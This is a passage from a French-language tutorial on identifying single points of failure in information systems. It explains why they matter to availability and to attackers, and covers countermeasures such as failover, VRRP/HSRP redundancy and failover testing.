• De la même manière lorsque l'on choisit différents fournisseurs d'accès à Internet, il est judicieux de vérifier par où passent les câbles reliant le SI aux différents FAI. Si les câbles passent tous au même endroit physiquement ou par les mêmes points de collectes, c'est que nous sommes en présence d'un SPOF, on peut alors croiser le fameux "coup de pelleteuse" qui peut mettre à mal tout un SI même si l’on possède des FAI différents.
• Un autre exemple intéressant mis en avant par Stéphane Bortzmeyer lors d'une conférence sur la sécurité des noms de domaines est qu'en Californie, une grande faille sismique existe (Faille de San Andreas). Quand des Datacenters sont construits, les ingénieurs et architectes doivent veiller à ne pas les construire sur la même faille sismique, car même si les deux Datacenters sont séparés de plusieurs centaines de kilomètres, ils peuvent se situer sur la même faille et donc tomber en même temps lorsque cette faille tremblera.

On voit donc dans ces différents exemples qu'il faut avoir une vue à la fois très générale et très détaillée d'un SI pour identifier tous les Single Point Of Failure présents dans celui-ci. Tous les SPOF ne sont pas forcément à supprimer au sein d'un système d'information, cela coûte souvent cher et est parfois inutile quand les éléments situés sur la chaîne de traitement de l'information ne sont pas vitaux. Toutefois, quand un élément est jugé vital, il convient de vérifier et de supprimer les SPOF de bout en bout.

Au sein des systèmes d'information, on essaie de rapprocher le plus possible les SPOF des utilisateurs. Cela permet, en cas de défaillance, de faire que celle-ci impact le moins de monde possible. Plutôt que de mettre une redondance sur les switchs situés en couche d’accès, on préférera donc redonder les switchs des couches distributions ou les sorties Internet.

IV. L'importance de l'identification des SPOF

L'identification d'un SPOF dans une architecture informatique requiert d'avoir une vue d'ensemble, mais précise de tout ce qui la compose. Un SPOF est un point critique pour une architecture informatique ou un LAN, car il peut rapidement être identifié comme une cible de choix pour mettre à mal un ensemble de machines ou un service. Sur l'architecture vue plus haut, on voit que l'administrateur a pris la peine de mettre en redondance certains éléments du réseau. La mise en redondance d'éléments comme des routeurs ou des serveurs offrant des services est de faire en sorte que si l'un tombe ou est surchargé, l'autre prenne le relais.

Connaissant ce principe de fonctionnement, un pirate expérimenté ne perdra pas son temps à attaquer des équipements redondés, seulement s'il a identifié le SPOF qui est le routeur, il deviendra une cible prioritaire, car faire tomber le routeur reviendra à faire tomber le reste de l'infrastructure qui deviendra injoignable. En sécurité informatique, la sécurité de l'ensemble est évaluée par la sécurité la plus basse évaluée sur chacun des composants, lorsque l'on entame des redondances pour mettre un service en mode "haute disponibilité", il est important de le faire sur toute la chaîne de traitement pour ne pas laisser apparaître de SPOF sur celle-ci.

V. Mise en place de contre mesure

Une fois que les SPOF sont identifiés, la plupart peuvent en général être supprimés par la mise en place de systèmes de redondance ou de haute disponibilité, dit "HA" pour High Availability. On parle alors généralement de Fail-Over, plus rarement de Load-Balancing qui est un terme se rapprochant plus de la répartition de charge.

On peut également voir plus loin en identifiant des SPOF logiciels qui font que si un logiciel utilisé par tous les serveurs d'un cluster de redondance comporte une vulnérabilité, aucun autre système ne peut venir nous aider à nous couvrir de cette vulnérabilité. Pour prendre un exemple plus concret, si nous disposons de trois routeurs pour une sortie de réseau et que ceux-ci sont en redondance, si une faille de sécurité est découverte sur ces systèmes et qu'elle permet de les faire tomber en quelques secondes, alors on peut identifier un SPOF qui fera qu'aucun autre système ne pourra prendre le relais si ce système vient à défaillir.

Il est alors envisageable d'utiliser différents systèmes pour faire une même action. Cependant, il n'est pas toujours possible de mettre des systèmes, parfois concurrents, en redondance et de les faire travailler ensemble. Il faut généralement pour cela qu'un protocole de redondance standardisé ait été mis en place, on peut prendre VRRP (Virtual Router Redundancy Protocol) par exemple qui permet la mise en redondance de différentes passerelles et qui est la version standardisée du protocole propriétaire Cisco HSRP (Hot Standby Router Protocol), celui-ci ne fonctionnant qu'entre éléments actifs Cisco. Cela nécessitant du temps, de l'investissement et des compétences supplémentaires !

Enfin, la mise en place de contre-mesures passe également par le fait de tester les technologies et les processus de Fail-Over mis en place. Il est en effet important d'être certain du comportement d'un élément du réseau mis en redondance lorsque le maître ou un pair vient à être défaillant. De la même manière, il est important de savoir si le retour à la normale de la situation après la remise sur pieds de l'élément défaillant se fait avec manipulation d'un technicien ou de façon automatique et les pertes de paquets ou de requêtes que cela peut générer.

Il faut également garder en tête que la mise en place de contre-mesures envers les points de défaillance individuels ont un certain coût, d'abord en matériel, mais également, car cela requiert, en fonction des technologies utilisées, des compétences spécifiques et du temps de maintenance et de mise en place. Il faut donc bien évaluer la criticité d'un service ou d'un serveur afin de juger si oui on non il est vitale et mérite une attention avancée pour supprimer les SPOF qui sont sur son chemin.